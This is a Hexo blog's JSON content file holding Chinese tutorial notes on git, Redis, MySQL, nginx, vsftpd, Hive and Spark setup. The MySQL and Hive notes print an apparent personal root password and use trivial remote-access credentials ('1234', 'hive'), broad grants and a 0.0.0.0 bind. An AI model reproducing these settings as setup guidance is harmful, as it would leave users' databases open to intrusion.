Repository navigation
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 191 KB
/
Copy pathcontent.json
File metadata and controls
1 lines (1 loc) · 191 KB
1
{"meta":{"title":"CoderSim's Growth Diary","subtitle":"extoll the world's best C and Java","description":null,"author":"CoderSim","url":"http://yoursite.com","root":"/"},"pages":[{"title":"","date":"2020-01-06T11:52:18.592Z","updated":"2019-10-05T12:25:08.000Z","comments":true,"path":"README.html","permalink":"http://yoursite.com/README.html","excerpt":"","text":"我的学习笔记说明标签类tages Linux VNC PyTorch shell 线性回归分类categories Linux Shell deepLearing tool(一些工具软件,环境搭建的学习笔记)"},{"title":"about","date":"2019-09-23T12:26:08.000Z","updated":"2019-09-23T12:27:20.000Z","comments":true,"path":"about/index.html","permalink":"http://yoursite.com/about/index.html","excerpt":"","text":"V1.0created By CoderSim"},{"title":"categories ALL Log","date":"2019-09-23T12:23:34.000Z","updated":"2019-09-23T12:36:10.000Z","comments":true,"path":"categories/index.html","permalink":"http://yoursite.com/categories/index.html","excerpt":"","text":""},{"title":"TagCloud","date":"2019-09-23T12:17:17.000Z","updated":"2019-09-23T12:19:28.000Z","comments":true,"path":"tags/index.html","permalink":"http://yoursite.com/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"gitBasic","slug":"gitBasic","date":"2020-06-03T03:26:12.000Z","updated":"2020-06-03T03:42:54.443Z","comments":true,"path":"2020/06/03/gitBasic/","link":"","permalink":"http://yoursite.com/2020/06/03/gitBasic/","excerpt":"0x00 git的配置","text":"0x00 git的配置 设置姓名和邮箱地址12$ git config --global user.name "Firstname Lastname"$ git config --global user.email "[email protected]" 这个命令,会在“~/.gitconfig”中以输出设置文件,可以直接编辑它 设置代理https://gist.github.com/laispace/666dd7b27e9116faece6这里需要看自己设置的代理是哪一个端口 12git config --global http.proxy 'socks5://127.0.0.1:1080'git config --global https.proxy 'socks5://127.0.0.1:1080' 或则是http代理 12git config --global https.proxy http://127.0.0.1:1080git config --global https.proxy https://127.0.0.1:1080 设置取消代理 12git config --global --unset http.proxygit config --global --unset https.proxy","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"git","slug":"git","permalink":"http://yoursite.com/tags/git/"}]},{"title":"redis-basic","slug":"redis-basic","date":"2020-03-07T10:10:37.000Z","updated":"2020-03-07T10:14:37.113Z","comments":true,"path":"2020/03/07/redis-basic/","link":"","permalink":"http://yoursite.com/2020/03/07/redis-basic/","excerpt":"Redis学习记录版本:Redis-2.8.0.tar.gz下载链接:http://download.redis.io/releases/","text":"Redis学习记录版本:Redis-2.8.0.tar.gz下载链接:http://download.redis.io/releases/ 0x00 Redis导论简介Redis:REmote DIctionary Server字面意思:远程字典服务 Redis是一个使用ANSI C语言编写的开源数据库 高性能的key-value数据库 内存数据库,支持数据持久化 官网:https://redis.io/国内官网:http://redis.cn/ 安装直接下载解压即然后在解压后的目录输入make之后进入src目录下启动redis:./redis-server./redis-server &后台启动。关闭redis:./redis-cli shutdown 使用自带客户端src目录下运行./redis-cli 12345set a bset b ckey *get aget b 数据类型 string list set sorted set hash 0x01 redis服务启动的方式直接启动src目录下运行./redis-server新开一个命令窗口运行./redis-cli 直接用ctrl+c关闭客户端时不会持久化的,可以运行save命令持久化。一个比较好的命令是./redis-cli shutdown 指定端口启动默认端口是6379。./redis-server --port 6380那么运行客户端时的命令:./redis-cli -p 6380关闭客户端时命令:./redis-cli -p 6380 shutdown 修改配置文件启动修改主目录下的redis.conf找到port这个节点,修改它的值再次进入src目录下指定配置文件运行./redis-server ../redis.conf有时候需要指定IP关闭(默认时localhost):./redis-cli -p 6379 -h 127.0.0.1 配置密码修改主目录下的redis.conf搜索\\requirepass,定位到这一行, 将注释去掉,添加密码值以配置文件启动./redis-server ../redis.conf这个时候需要用密码启动客户端./redis-cli -a yijun 0x02 系统级命令info查看系统信息,如服务进程ID,端口,版本,客户端,内存,状态,主从同步数据,CPU,Keyspace(命名空间) Keyspace可以看到默认的db空间时db0,此时有2个key存储在这个数据库可以通过select <dbid>选择运用的数据库/命名空间,下标从0开始如进入客户端./redis-cli运行selcet 1选择db1运行 flushdb清空当前db下的所有key值 flushall清空所有db信息 dbsize当前db下的key-value数量 0x03 Redis键命令新增健set key value设置一个值keys *mset k1 v1 k2 v2同时设置多个key-valuesetnx key value只有key不存在时才成功 删除键del key存在就删除返回1,不存在返回0 取值get keygetset key newValue拿到一个旧值,并且会设置新值mget k1 k2 k3批量拿值 判断是否存在exists key存在返回1,否则返回0 查看key剩余时间ttl key返回-1表示永久有效不存在的key返回-2 设置键的有效期expire key time这里的time是一个整数,单位为秒expire key 10setex key time value加入一个键,设置有效期psetex key tim value时间为毫秒 查看key对应值的类型type key 随机keyrandomkey从已有的key中随机取出 key重命名rename oldKey newKey会覆盖已经存在的keyrenamenx oldKey newKey会进行判断,已经存在的话就不判断 0x04 Redis数据结构stringstrlen key 得到key对应值的字符串长度append key value 将key对应的值后面拼接value对应的字符串 hash hset key itemKey itemValue设置一个key,它的值是一个hash数据结构可以知道类型type key hexists key itemKey键key对应的值是否有itemKey字段 hget key itemKey取得key对应的itemkey对应的值 hgetall key得到key对应的的value值 hkeys key得到key对应值所有key键 hvals key得到key对应值的所有value hlen key得到key对应值value大小 hkeys key itemKey1 itemKey2删除keyItem list lpush key v1 v2 v3 v4将列表值存放到key llen key得到list的长度 lrange key 0 2取得list中的[0, 2]下标的值,与push进的值相反 lset key 0 value设置list下标为0的值 lindex key 5获取list的第五号元素 lpop key移除第一个元素 rpop key移除最后一个 set无序集合,可以排除重复 sadd key v1 v2 v3 v4新建一个key,value是set的元素,set集是v1,v2,v3,v4 scard key返回集合value的大小 rename oldKey newKey改名 smembers key查看集合的所有元素成员 sdiff key1 key2key1中的元素减去两者共有的元素得到的集合 sinter key1 key2两个集合的交集 sunion key1 key2两个集合的并集 返回一个或者集合中的随机数个数srandmember key 3,返回key中的3个随机成员 sismember key value判断value是不是集合key里面的元素 srem key v1 v2移除集合key中的元素v1,v2 spop key移除key集合中的一个随机元素,并且返回它的值 sortedSet有序集合,通过分数来进行排序 zadd key 100 a 200 b 300 c创建三个值,其分数分别是100,200,300 zcard key查看有序集合key的元素个数 zscore key valueItem查看集合key中的某一个值的分数 zcount key 0 220返回[0, 220]的分数对应的值的个数 zrank key valueitem返回指定元素对应的索引 zincrby key 1000 a将key集合中对应的元素a的分数加1000分 zrange key 0 100查看集合key中分数区间[0,100]中的所有value zrange key 0 100 withscores查看集合key中分数区间[0,100]中的所有value及其分数","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"redis","slug":"redis","permalink":"http://yoursite.com/tags/redis/"}]},{"title":"mysql-basic","slug":"mysql-basic","date":"2020-02-13T10:09:53.000Z","updated":"2020-02-15T14:11:24.826Z","comments":true,"path":"2020/02/13/mysql-basic/","link":"","permalink":"http://yoursite.com/2020/02/13/mysql-basic/","excerpt":"mysql安装和使用版本:ubuntu16.04与mysql-server-5.7","text":"mysql安装和使用版本:ubuntu16.04与mysql-server-5.7 安装教程root账户密码(Qwertyuiop123) 0x00 字符集配置编辑sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf在[mysqlId]节点下添加如下内容 1character_set_server=utf8 0x01 自启动配置 执行chkconfig mysqld on 执行chkconfig --list mysqld(查看2-5位启用on状态即可) 0x02 一些配置 服务启动:service mysqld start root用户登陆:mysql -u root -p登陆之后可以进行的操作。 查看mysql的用户: 1select user,host,authentication_string from mysql.user 修改root密码 123set authentication_string for root@localhost=password('yourPassword')#或者set authentication_string for [email protected]=password('yourPassword') 删除匿名用户 123456#查看是否有匿名用户select user,host from mysql.user;#删除匿名用户delete from mysql.user where user='';#刷新,生效flush privileges; 插入新用户 1234CREATE USER 'test'@'localhost' IDENTIFIED BY '1234'; #本地登录 CREATE USER 'test'@'%' IDENTIFIED BY '1234'; #远程登录#使操作生效flush privileges; 创建新的数据库 1CREATE DATABASE mall DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci; 给某一个用户赋予某数据库的所有权限 1grant all privileges on mall.* to youUsername@localhost identified by 'yourPassword' 给某一个账户开通外网所有权限 1grant all privileges on mall.* to youUsername@'%' identified by 'yourPassword' 注意%号代表所有的IP地址,可以指定IP地址 使操作生效flush privileges; 注意,如果启动失败,注意查看日志文件/var/log/syslog,这里可以找到错误原因 0x03 导入数据库sql文件的导入 进入mysql的终端:mysql -u root -p 创建数据库:create database databaseName; 切换数据库:use databaseName; 导入文件:source /root/abc.sql; mysql连接的一个错误 错误现象:ECS中安装有mysql,也已经有mysqld服务,也开放了3306端口,但就是在本地win10用navicat连接不上(can’t connect to mysql server on ‘localhost’ (10061)) 排查过程:检测linux上3306的监听状况。使用如下命令:netstat -ntpl |grep 3306可以查看3306的监听状态。 原因:因为3306端口的监听只与127.0.0.1绑定[1]。端口只允许本机访问,有两个地方启用,一个是防火墙启用3306,一个就是mysql配置绑定本机地址 修改:具体参考文献[1] 编辑配置文件vim /etc/mysql/mysql.conf.d/mysqld.cnf修改一个值为:bind-address = 0.0.0.0重启服务:service mysql restart 另外还需要创建一个用户使外网能跟访问。12CREATE USER 'test'@'%' IDENTIFIED BY '1234';grant all privileges on mmall.* to test@'%' identified by '1234'; 附录dpkg: error processing package *** (–configure)解决办法https://blog.csdn.net/qq_36561697/article/details/82224279 参考文献[1] https://blog.csdn.net/qq_36820328/article/details/79654278","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"mysql","slug":"mysql","permalink":"http://yoursite.com/tags/mysql/"}]},{"title":"ngnix","slug":"ngnix","date":"2020-02-13T03:26:58.000Z","updated":"2020-02-13T07:42:05.942Z","comments":true,"path":"2020/02/13/ngnix/","link":"","permalink":"http://yoursite.com/2020/02/13/ngnix/","excerpt":"ngnix安装和使用版本:ubuntu16.04与nginx-1.11.3","text":"ngnix安装和使用版本:ubuntu16.04与nginx-1.11.3 0x00 简介 Ngnix是一款轻量级web服务器,也是一款反向代理服务器 可作为HTTP反向代理服务器,负载均衡服务器,邮件代理服务器,帮助实现前端动静分离。 特点:高稳定,高性能,资源占用少,功能丰富,模块化结构,支持热部署。官网 0x01 安装 下载软件:http://nginx.org/download/ 1wget http://nginx.org/download/nginx-1.11.3.tar.gz 安装依赖centOS下的安装依赖 1yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-devel ubuntu16.04 下安装依赖 12345678910#gcc g++的依赖库apt-get install build-essentialapt-get install libtool# 安装pcre依赖库sudo apt-get updatesudo apt-get install libpcre3 libpcre3-dev# 安装zlib依赖库apt-get install zlib1g-dev# 安装ssl依赖库apt-get install openssl 编译安装进入解压目录执行./configure(安装后可以通过whereis ngnix查询安装位置)或者指定安装目录./configure --prefix=/usr/local/nginx然后执行make命令最后执行make install完成安装 通过上面可以知道ngnix安装后的位置在/usr/local/nginx 0x02 ngnix常用命令测试配置文件安装路径下(eg:/usr/local/nginx)的sbin文件下的命令 1nginx -t 启动命令sudo /usr/local/nginx/sbin/nginx启动的时候80端口被占用的解决方案: https://jingyan.baidu.com/article/20b68a8880c84d796dec6256.html或者98: Address already in use 停止命令/usr/local/nginx/sbin/nginx -s stop或者/usr/local/nginx/sbin/nginx -s quit 重启命令/usr/local/nginx/sbin/nginx -s reload 0x03 设置虚拟域名(反向代理) 在ngnix的配置文件./conf/nginx.conf如下地方中加入如下内容include vhost/*.conf 创建vhost在ngnix的conf目录下创建一个文件夹vhost 修改host(需要访问的客户端上面的)这个文件是设置域名的vim /etc/hosts,加入如下内容(win:C:\\Windows\\System32\\Drivers\\etc)123106.14.124.205 www.yijun.com106.14.124.205 image.yijun.com106.14.124.205 s.yijun.com 重启网络服务/etc/init.d/nscd restart 编辑节点(在目录conf/vhost下面)cd conf/vhost节点1: 新建vim www.yijun.com.conf,输入如下内容123456789101112131415server { listen 80; autoindex on; server_name www.yijun.com; access_log /usr/local/nginx/logs/access.log combined; index index.html index.htm index.jsp index.php; #error_page 404 /404.html; if ( $query_string ~* ".*[\\;'\\<\\>].*" ){ return 404; } location / { proxy_pass http://127.0.0.1:8080; add_header Access-Control-Allow-Origin *; }} 解析:上述是把www.yijun.com:80的请求转发到http://127.0.0.1:8080 注意:autoindex off的时候不会暴露索引。 重启ngnix即可节点2:新建vim image.yijun.com.conf,输入如下内容 123456789101112131415161718server { listen 80; autoindex off; server_name image.yijun.com; access_log /usr/local/nginx/logs/access.log combined; index index.html index.htm index.jsp index.php; #error_page 404 /404.html; if ( $query_string ~* ".*[\\;'\\<\\>].*" ){ return 404; } location ~ /(mmall_fe|mmall_admin_fe)/dist/view/* { deny all; } location / { root /myFiles; add_header Access-Control-Allow-Origin *; } } 解析:上述是把image.yijun.com:80的请求转发到/myFiles文件夹下面。 重启ngnix 参考文献[1] https://www.cnblogs.com/tinya/p/11849173.html ngnix安装","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"ngnix","slug":"ngnix","permalink":"http://yoursite.com/tags/ngnix/"}]},{"title":"vsftpd","slug":"vsftpd","date":"2020-02-12T07:52:35.000Z","updated":"2020-02-24T07:07:58.041Z","comments":true,"path":"2020/02/12/vsftpd/","link":"","permalink":"http://yoursite.com/2020/02/12/vsftpd/","excerpt":"vsftpd安装和使用版本:ubuntu16.04与vsftp-2.2.2","text":"vsftpd安装和使用版本:ubuntu16.04与vsftp-2.2.2 0x00 介绍vsftp(very secure FTP daemon),一个免费的,开源的ftp服务器软件。小巧轻快,安全易用,支持虚拟用户,宽带限制。 0x01 安装apt-get install vsftpd默认的配置文件在/etc/vsftpd.conf启动服务service vsftpd start查看启动日志service vsftpd status 0x02 用户配置 选定一个目录作为ftp文件夹如:/home/uftp ubuntu系统添加一个用户倒数第三个是指ftp使用的文件目录 123useradd ftpuser -d /home/ftpuser -s /bin/bash或者useradd -d /home/uftp -m uftp -s /usr/sbin/nologin 修改文件目录权限 1chown -R ftpuser.ftpuser /home/ftpuser 重设ftpuser用户的密码(123456) 1passwd ftpuser 配置 新建文件vim /etc/vsftpd.user_list用来存放允许访问ftp的用户在其中加入用户名ftpuser 配置VSFTPD文件vim /etc/vsftpd.conf做如下修改(后三行要放到最后) 1234write_enable=YESuserlist_file=/etc/vsftpd.user_listuserlist_enable=YESuserlist_deny=NO 重启 123service vsftpd restart或者sudo vsftpd restart 验证 安照如上创建的用户是需要在cmd环境下进行操作,在浏览器中登陆不上。ps aux | grep vsftpd查看是否有对应进程。win下的cmd中输入ftp IP下载:get filename上传:put filename 0x03 配置浏览器登陆浏览器不能访问,是因为VSFTPD不支持被动模式造成的。 编辑配置文件vi /etc/vsftpd.conf加入如下内容 123456pasv_enable=YESpasv_max_port=30100pasv_min_port=30000# 这儿填服务器的ip(选填)pasv_address=47.99.*.* pasv_addr_resolve=yes 防火墙配置开放编辑(centOS)vi /etc/iptables.rules 参考文献[1] https://www.linuxidc.com/Linux/2017-06/144807.htm Ubuntu 16.04下vsftpd 安装配置实例[2] https://blog.csdn.net/sinat_41898105/article/details/90341812 阿里云连接不上问题 附录centOS要用到的一个项目配置1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253本项目要用到的配置项:#当本地用户登入时,将被更换到定义的目录下,默认值为各用户的家目录local_root=/ftpfile#使用匿名登入时,所登入的目录anon_root=/ftpfile#默认是GMT时间,改成使用本机系统时间use_localtime=YES#不允许匿名用户登录anonymous_enable=NO#允许本地用户登录local_enable=YES#本地用户可以在自己家目录中进行读写操作)write_enable=YES#本地用户新增档案时的umask值)local_umask=022#如果启动这个选项,那么使用者第一次进入一个目录时,会检查该目录下是否有.message这个档案,如果有,则会出现此档案的内容,#通常这个档案会放置欢迎话语,或是对该目录的说明。默认值为开启dirmessage_enable=YES#是否启用上传/下载日志记录。如果启用,则上传与下载的信息将被完整纪录在xferlog_file 所定义的档案中。预设为开启。xferlog_enable=YES#指定FTP使用20端口进行数据传输,默认值为YESconnect_from_port_20=YES#如果启用,则日志文件将会写成xferlog的标准格式)xferlog_std_format=YES#这里用来定义欢迎话语的字符串)ftpd_banner=Welcome to mmall FTP Server#用于指定用户列表文件中的用户是否允许切换到上级目录)chroot_local_user=NO#设置是否启用chroot_list_file配置项指定的用户列表文件)chroot_list_enable=YES#用于指定用户列表文件)chroot_list_file=/etc/vsftpd/chroot_list#设置vsftpd服务器是否以standalone模式运行,以standalone模式运行是一种较好的方式,此时listen必须设置为YES,此为默认值。#建议不要更改,有很多与服务器运行相关的配置命令,需要在此模式下才有效,#若设置为NO,则vsftpd不是以独立的服务运行,要受到xinetd服务的管控,功能上会受到限制)listen=YES#虚拟用户使用PAM认证方式,这里是设置PAM使用的名称,默认即可,#与/etc/pam.d/vsftpd对应) userlist_enable=YES(是否启用vsftpd.user_list文件,黑名单,白名单都可以pam_service_name=vsftpd#被动模式使用端口范围最小值)pasv_min_port=61001#被动模式使用端口范围最大值)pasv_max_port=62000#若设置为YES,则使用PASV工作模式;若设置为NO,则使用PORT模式。默认值为YES,即使用PASV工作模式。# FTP协议有两种工作方式:PORT方式和PASV方式,中文意思为主动式和被动式。# 一、PORT#主动)方式的连接过程是:客户端向服务器的FTP端口#默认是21)发送连接请求,服务器接受连接,建立一条命令链路。# 当需要传送数据时,客户端在命令链路上用 PORT命令告诉服务器:“我打开了****端口,你过来连接我”。于是服务器从20端口向客户端的****端口发送连接请求,# 建立一条数据链路来传送数据。# 二、PASV#被动)方式的连接过程是:客户端向服务器的FTP端口#默认是21)发送连接请求,服务器接受连接,建立一条命令链路。# 当需要传送数据时,服务器在命令链路上用 PASV命令告诉客户端:“我打开了****端口,你过来连接我”。于是客户端向服务器的****端口发送连接请求,#建立一条数据链路来传送数据。#从上面可以看出,两种方式的命令链路连接方法是一样的,而数据链路的建立方法就完全不同。而FTP的复杂性就在于此。pasv_enable=YES(pasv_enable=YES/NO#YES) Ununtu16.04的一个配置12345678910111213141516171819202122232425262728293031323334353637#这些设置系统默认是开启的,可以不管listen=NOlisten_ipv6=YESdirmessage_enable=YESuse_localtime=YESxferlog_enable=YESconnect_from_port_20=YES#下面的就要自定义设置了,建议系统默认的不管,然后复制下面的#是否允许匿名访问,NO为不允许anonymous_enable=NO#是否允许本地用户访问,就是linux本机中存在的用户,YES允许local_enable=YES#是否开启写模式,YES为开启write_enable=YES#新建文件权限,一般设置为022,那么新建后的文件的权限就是777-022=755local_umask=022#是否启动userlist为通过模式,YES的话只有存在于userlist文件中的用户才能登录ftp(可以理解为userlist是一个白名单),NO的话,白名单失效,和下面一个参数配合使用userlist_enable=YES#是否启动userlist为禁止模式,YES表示在userlist中的用户禁止登录ftp(黑名单),NO表示黑名单失效,我们已经让userlist作为一个白名单,所以无需使用黑名单功能userlist_deny=NO#指定哪个文件作为userlist文件,我们稍后编辑这个文件userlist_file=/etc/vsftpd.user_list#是否限制本地所有用户切换根目录的权限,YES为开启限制,即登录后的用户不能访问ftp根目录以外的目录,当然要限制啦chroot_local_user=YES#是否启动限制用户的名单list为允许模式,上面的YES限制了所有用户,可以用这个名单作为白名单,作为例外允许访问ftp根目录以外chroot_list_enable=YES#设置哪个文件是list文件,里面的用户将不受限制的去访问ftp根目录以外的目录chroot_list_file=/etc/vsftpd.chroot_list#是否开启写模式,开启后可以进行创建文件夹等写入操作allow_writeable_chroot=YES#设置ftp根目录的位置,这个文件我们稍后自己创建local_root=/var/myftp 参考文献[1] https://www.mobibrw.com/2018/15389 错误启动解决办法","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"vsftpd","slug":"vsftpd","permalink":"http://yoursite.com/tags/vsftpd/"}]},{"title":"hive01-base","slug":"hive01-base","date":"2020-01-14T01:13:21.000Z","updated":"2020-01-14T07:49:32.700Z","comments":true,"path":"2020/01/14/hive01-base/","link":"","permalink":"http://yoursite.com/2020/01/14/hive01-base/","excerpt":"hive的安装和介绍版本:2.3.6hadoop: 2.7.1","text":"hive的安装和介绍版本:2.3.6hadoop: 2.7.1 hive是一个基于Hadoop的数据仓库工具,用于HDFS文件中数据集的整理、查询、分析,提供一个类SQL的查询语言HiveQL(转换为MapReduce实现)。以下东西来源于文献[1]官网官网手册 hive安装安装hive,配置mysql。 下载解压从官网下载安装包apache-hive-2.3.6-bin.tar.gz对文件进行解压至目录/opt/hive修改文件所属:chown -R yijun:yijun hive 配置环境变量这一步是可选的,可以编辑/etc/profile文件对所有用户都生效,也可选择~/.bashrc仅对当前用户生效。添加如下条目: 123export HIVE_HOME=/usr/local/hiveexport PATH=$PATH:$HIVE_HOME/binexport HADOOP_HOME=/usr/local/hadoop 使用source命令使之生效 修改配置文件 将hive-default.xml.template重命名为hive-default.xml 1mv hive-default.xml.template hive-default.xml 新建一个hive-site.xml文件添加如下配置信息 123456789101112131415161718192021222324<?xml version="1.0" encoding="UTF-8" standalone="no"?><?xml-stylesheet type="text/xsl" href="configuration.xsl"?><configuration> <property> <name>javax.jdo.option.ConnectionURL</name> <value>jdbc:mysql://localhost:3306/hive?createDatabaseIfNotExist=true</value> <description>JDBC connect string for a JDBC metastore</description> </property> <property> <name>javax.jdo.option.ConnectionDriverName</name> <value>com.mysql.jdbc.Driver</value> <description>Driver class name for a JDBC metastore</description> </property> <property> <name>javax.jdo.option.ConnectionUserName</name> <value>hive</value> <description>username to use against metastore database</description> </property> <property> <name>javax.jdo.option.ConnectionPassword</name> <value>hive</value> <description>password to use against metastore database</description> </property></configuration> 下面的内容是安装配置mysql作为元数据库 mysql安装安装教程见参考文献2 以下是有关hive配置的步骤 step0: 下载驱动包驱动地址解压并拷贝mysql-connector-java-5.1.40-bin.jar到/usr/local/hive/lib目录下 step1: 新建名为hive的数据库这个hive数据库与hive-site.xml中配置对应,用来保存hive元数据。 12mysql> create database hive;mysql> use hive; #切换 step2: 配置mysql允许hive接入将所有数据库的所有表的所有权限赋给hive用户,后面的hive是配置hive-site.xml中配置的连接密码 12mysql> grant all on *.* to hive@localhost identified by 'hive'; mysql> flush privileges; #刷新mysql系统权限关系表 启动hive在启动之前,需要保证hadoop集群启动成功。./bin/hive至此,已经配置了hive,mysql作为元数据的存储库。我在启动过程中的一些报错。 如果报错信息如下,尝试启动metastor服务bin/hive --servie metastore 12FAILED: SemanticException org.apache.hadoop.hive.ql.metadata.HiveException: java.lang.RuntimeException: Unable to instantiate org.apache.hadoop.hive.ql.metadata.SessionHiveMetaStoreClient 如果报错如下: 12Caused by: MetaException(message:Version information not found in metastore. ) at org.apache.hadoop.hive.metastore.RetryingHMSHandler.<init>(RetryingHMSHandler.java:83) 到hive-site.xml中加入如下条目: 1234<property> <name>hive.metastore.schema.verification</name> <value>false</value></property> 如果报错如下:12MetaException(message:Required table missing : "`DBS`" in Catalog "" Schema "". DataNucleus requires this table to perform its persistence operations. Either your MetaData is incorrect, or you need to enable "datanucleus.schema.autoCreateTables") at org.apache.hadoop.hive.metastore.RetryingHMSHandler.<init>(RetryingHMSHandler.java:84) hive元数据在远程mysql中,表明远程数据库没有相应对象。解决办法如下:hive-site.xml中加入如下条目。 1234<property> <name>datanucleus.schema.autoCreateAll</name> <value>true</value></property> hive基本操作可以查看hive支持的数据类型具体操作命令见文献1 参考文献[1] http://dblab.xmu.edu.cn/blog/1080-2/[2] http://dblab.xmu.edu.cn/blog/install-mysql/","categories":[{"name":"bigdata","slug":"bigdata","permalink":"http://yoursite.com/categories/bigdata/"}],"tags":[{"name":"hive","slug":"hive","permalink":"http://yoursite.com/tags/hive/"}]},{"title":"spark01-basic","slug":"spark01-basic","date":"2020-01-09T02:28:40.000Z","updated":"2020-01-09T12:40:39.835Z","comments":true,"path":"2020/01/09/spark01-basic/","link":"","permalink":"http://yoursite.com/2020/01/09/spark01-basic/","excerpt":"spark基础部分安装和介绍版本:spark-2.4.4-bin-hadoop2.7.tgzscala 2.11.8可以从清华大学镜像网站下载","text":"spark基础部分安装和介绍版本:spark-2.4.4-bin-hadoop2.7.tgzscala 2.11.8可以从清华大学镜像网站下载 0x00 安装官网部署模式有四种: Local模式(单机) Standalone模式,用spark自带的简单集群管理器 YARN模式,使用YARN作为集群管理器 Mesos模式,使用Mesos作为集群管理器。 安装Scala环境 Scala是一门现代的多范式编程语言,旨在以简练、优雅及类型安全的方式来表达常用编程模式,平滑地集成了面向对象和函数语言的特性,运行在JVM上,兼容java程序[1] 下载Scala2.11.8和安装 1234wget https://downloads.lightbend.com/scala/2.11.8/scala-2.11.8.tgztar -zxvf scala-2.11.8.tgzsudo mv scala-2.11.8 /opt/scala-2.11.8 sudo chown -R hadoop:hadoop /opt/scala-2.11.8 配置环境变量vim /etc/profile 写入如下内容 12export SCALA_HOME=/opt/scala-2.11.8export PATH=$PATH:$SCALA_HOME/bin 使用source命令使之生效 验证scala -version 安装spark 下载spark2.4.4和安装 1234wget http://mirrors.tuna.tsinghua.edu.cn/apache/spark/spark-2.4.4/spark-2.4.4-bin-hadoop2.7.tgztar -zxvf spark-2.4.4-bin-hadoop2.7.tgzsudo mv spark-2.4.4-bin-hadoop2.7 /opt/spark-2.4.4-bin-hadoop2.7sudo chown -R hadoop:hadoop /opt/spark-2.4.4-bin-hadoop2.7 配置日志级别进入conf目录进行配置cd /opt/spark-2.4.4-bin-hadoop2.7/conf/使用模板创建日志配置cp log4j.properties.template log4j.properties修改其中的一行为如下,可以避免测试中输出太多不必要的信息log4j.rootCategory=WARN,console 配置Spark环境路径进入conf目录cp ./conf/spark-env.sh.template ./conf/spark.env.sh编辑该文件 123export JAVA_HOME=/usr/lib/jvm/java-8-oracleexport SPARK_HOME=/opt/spark-2.4.4-bin-hadoop2.7export SCALA_HOME=/opt/scala-2.11.8 配置连接HDFS文件系统的信息编辑./conf/spark.env.sh文件加入如下信息,就会使用HDFS文件系统 1export SPARK_DIST_CLASSPATH=$(/usr/local/hadoop/bin/hadoop classpath) 一个实例:验证配置是否成功,计算Pi的值 12cd spark/bin./run-example SparkPi 0x01 Spark-shell打开交互式Shell进入spark目录下的bin文件,可以运行一个自带的交互Shell。执行命令./spark-shell退出:ctrl+D,或者命令:quit简单测试:输入一个表达式8*2+5会得到一个结果res0: Int=21 读取linux系统本地文件可以在spark-shell窗口中读取文件,并显示第一行的内容 123var file = sc.textFile("/etc/protocols")file.count()file.first() 读取HDFS文件Spark可以不用启动Hadoop就可以运行,需要使用HDFS文件系统的话就必须先启动Hadoop。 12val textFile=sc.textFile("hdfs://localhost:9000/input/file1.txt")textFile.first() 0x02 Scala编写Spark应用程序一般都是使用IDEA进行开发,一些配置见参考文献[3],是一个词频统计程序。以下介绍的手动编写配置过程,没有使用ida。使用Scala语言编写的程序需要使用sbt进行编译打包 安装sbt 下载sbt-launch 1https://repo.typesafe.com/typesafe/ivy-releases/org.scala-sbt/sbt-launch/0.13.11/sbt-launch.jar 新建目录/opt/sbt改变所属组chown -R yijun:yijun /opt/sbt将下载的sbt-launch.jar移动到该目录下 在/opt/sbt目录下创建脚本vim ./sbt内容如下: 123#!/bin/bashSBT_OPTS="-Xms512M -Xmx1536M -Xss1M -XX:+CMSClassUnloadingEnabled -XX:MaxPermSize=256M"java $SBT_OPTS -jar `dirname $0`/sbt-launch.jar "$@" 脚本增加可执行权限chmod 755 ./sbt 检验sbt是否可用./sbt sbt-version这个步骤很漫长。安装成功后会显示[info] 0.13.11信息。 之后的步骤见参考文献[1] 编写程序 新建一个目录作为应用程序根目录,必须使用特定的文件结构(sbt要求的) 123cd ~ mkdir ./sparkapp mkdir -p ./sparkapp/src/main/scala 新建一个示例程序 1vim ./sparkapp/src/main/scala/SimpleApp.scala 写入如下代码 1234567891011121314151617/* SimpleApp.scala */import org.apache.spark.SparkContextimport org.apache.spark.SparkContext._import org.apache.spark.SparkConf object SimpleApp { def main(args: Array[String]) { #注意修改该文件的路径 val logFile = "file:///usr/local/spark/README.md" // Should be some file on your system val conf = new SparkConf().setAppName("Simple Application") val sc = new SparkContext(conf) val logData = sc.textFile(logFile, 2).cache() val numAs = logData.filter(line => line.contains("a")).count() val numBs = logData.filter(line => line.contains("b")).count() println("Lines with a: %s, Lines with b: %s".format(numAs, numBs)) }} 编写编译配置文件在主目录下./sparkapp中新建文件simple.sbt添加如下内容,指定Spark和scala版本其中的参数版本根据官网设置1234name := "simple Project"version := "0.1"scalaVersion := "2.11.8"libraryDependencies += "org.apache.spark" %% "spark-core" % "2.4.4" 可以使用find命令查看文件结构 sbt打包首先一定要进入工程目录下,cd ~/sparkapp然后使用sbt命令进行打包我们已经在安装sbt的步骤中写好了启动脚本/opt/sbt/sbt package会在target目录下生成jar包 运行程序上一步骤生成的jar包可以通过如下命令提交到spark中去运行。如果配置环境变量,使用命令(在spark的bin目录下)spark-submit。1spark-submit --class "SimpleApp" simple-project_2.10-1.0.jar 0x03 java编写spark应用程序来源于参考文献[4]使用java语言编写sprak需使用maven工具src/main/下新建SimpleApp.java编写程序pom文件中内容如下: 123456789101112131415161718192021<project> <groupId>edu.berkeley</groupId> <artifactId>simple-project</artifactId> <modelVersion>4.0.0</modelVersion> <name>Simple Project</name> <packaging>jar</packaging> <version>1.0</version> <repositories> <repository> <id>Akka repository</id> <url>http://repo.akka.io/releases</url> </repository> </repositories> <dependencies> <dependency> <!-- Spark dependency --> <groupId>org.apache.spark</groupId> <artifactId>spark-core_2.11</artifactId> <version>2.4.4</version> </dependency> </dependencies></project> 这里可以查阅, 搜索spark-core同样可以生成jar包,用spark-submit命令提交 参考文献[1] http://dblab.xmu.edu.cn/blog/spark-quick-start-guide/[2] https://www.shiyanlou.com/courses/456/learning/?id=1433[3] http://dblab.xmu.edu.cn/blog/1492-2/[4] 